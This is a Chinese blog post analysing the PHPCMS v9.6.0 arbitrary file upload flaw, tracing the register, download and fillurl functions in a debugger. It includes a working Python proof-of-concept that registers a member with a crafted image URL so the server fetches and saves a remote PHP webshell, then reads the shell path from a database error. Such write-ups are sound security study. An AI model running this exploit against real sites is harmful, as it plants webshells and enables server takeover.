• PHPCMS v9.6.0 任意文件上传漏洞分析


    引用源:http://paper.seebug.org/273/

    配置了php debug的环境,并且根据这篇文章把流程走了一遍,对phpstorm的debug熟练度+1(跟pycharm一样)

    用户名和email都要随便生成,因为注册名不能相同,所以修改了下脚本。

    import re  
    import requests
    import sys
    import random


    def poc(url):
    string=''
    name = string.join(random.sample(['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'], 10)).replace(" ", "")
    u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url)
    data = {
    'siteid': '1',
    'modelid': '1',
    'username': name,
    'password': name+'1',
    'email': name+'@test.com',
    'info[content]': '<img src=http://url/shell.txt?.php#.jpg>',
    'dosubmit': '1',
    }
    rep = requests.post(u, data=data)

    shell = ''
    re_result = re.findall(r'&lt;img src=(.*)&gt', rep.content)
    if len(re_result):
    shell = re_result[0]
    print shell

    url=sys.argv[1]
    poc(url)

    查看帮助文档可以定位到具体的哪个文件 http://v9.help.phpcms.cn/html/2010/structure_0928/73.html  

    根据post提交的参数,问题出现在/phpcms/modules/member/index.php的文件中,可以知道是在register函数中,所以在info[content]  下断点。

    打开phpstorm的右上角,进入监听模式,这时候访问网站是非常慢的。

    执行一遍poc,跟进get函数  位于 /caches/caches_model/caches_data/member_input.class.php

    可以看到$data   =>   &lt;img src=http://url/shell.txt?.php#.jpg&gt;

    这是最开始经过trim_script 的函数进行转码

    跟到48行左右,可以看到如下图,$func的值为editor,组成函数,继续下跟

    来到/caches/caches_model/caches_data/member_input.class.php  第59-67行。

    执行下来$value的值不变,进入download函数。

    位于/phpcms/libs/classes/attachment.class.php  第143-187行。

    大概就是根据日期创建文件夹然后判断://是否存在,接着跟进到fillurl函数, 位于/phpcms/libs/classes/attachment.class.php 位于280-344行。

     

    function fillurl($surl, $absurl, $basehref = '')
    $surl = http://url/shell.txt?.php#.jpg
    $pos = strpos($surl,'#'); //strpos函数:查找字符串首次出现的位置,
    if($pos>0) $surl = substr($surl,0,$pos); //返回$pos[0] 也就是http://url/shell.txt?.php

    直接取后缀进行赋值,这时候的$filename的值是php,所以直接生成后缀为php的文件名,在进行copy操作。

    这样就获取到shell了,在根据seebug的内容分析。

    程序在下载之后回到了register函数中,(ps:用他的图片)

    第150行处有个数据库相关的insert操作,将$userid加到$user_model_info数组里再进行数据库的插入操作(会员新增操作,对应的v9_member_detail数据表),先看下v9_member_detail的表结构:

     只有userid和birthday字段,但由于$user_model_info数组已经包含了我们之前构造提交的info[content]=xxxxxx的内容,而在插入数据库的时候又没有content字段,所以会导致数据库报错,从而将我们构造的xxxxxx的内容给回显出来,所以就不用暴力去破解文件名了。

    引用:

    http://paper.seebug.org/273/

    http://seclab.dbappsecurity.com.cn/?p=1661

  • 相关阅读:
    ASP.NET没有魔法——ASP.NET MVC & 分层
    ASP.NET没有魔法——第一个ASP.NET应用《MyBlog》
    ASP.NET没有魔法——为什么使用ASP.NET
    ASP.NET没有魔法——开篇-用VS创建一个ASP.NET Web程序
    Orchard详解--第九篇 拓展模块及引用的处理
    【原创-算法-实现】异步HTTP请求操作
    000.Introduction to ASP.NET Core--【Asp.net core 介绍】
    新建 ASP.NET Core Web API 项目 -- RESTFul 风格 Hello World!
    新建 ASP.NET Core MVC 项目 -- Hello World!
    新建 .NET Core 项目 -- Hello World!
  • 原文地址:https://www.cnblogs.com/yangxiaodi/p/6861115.html
Copyright © 2020-2023  润新知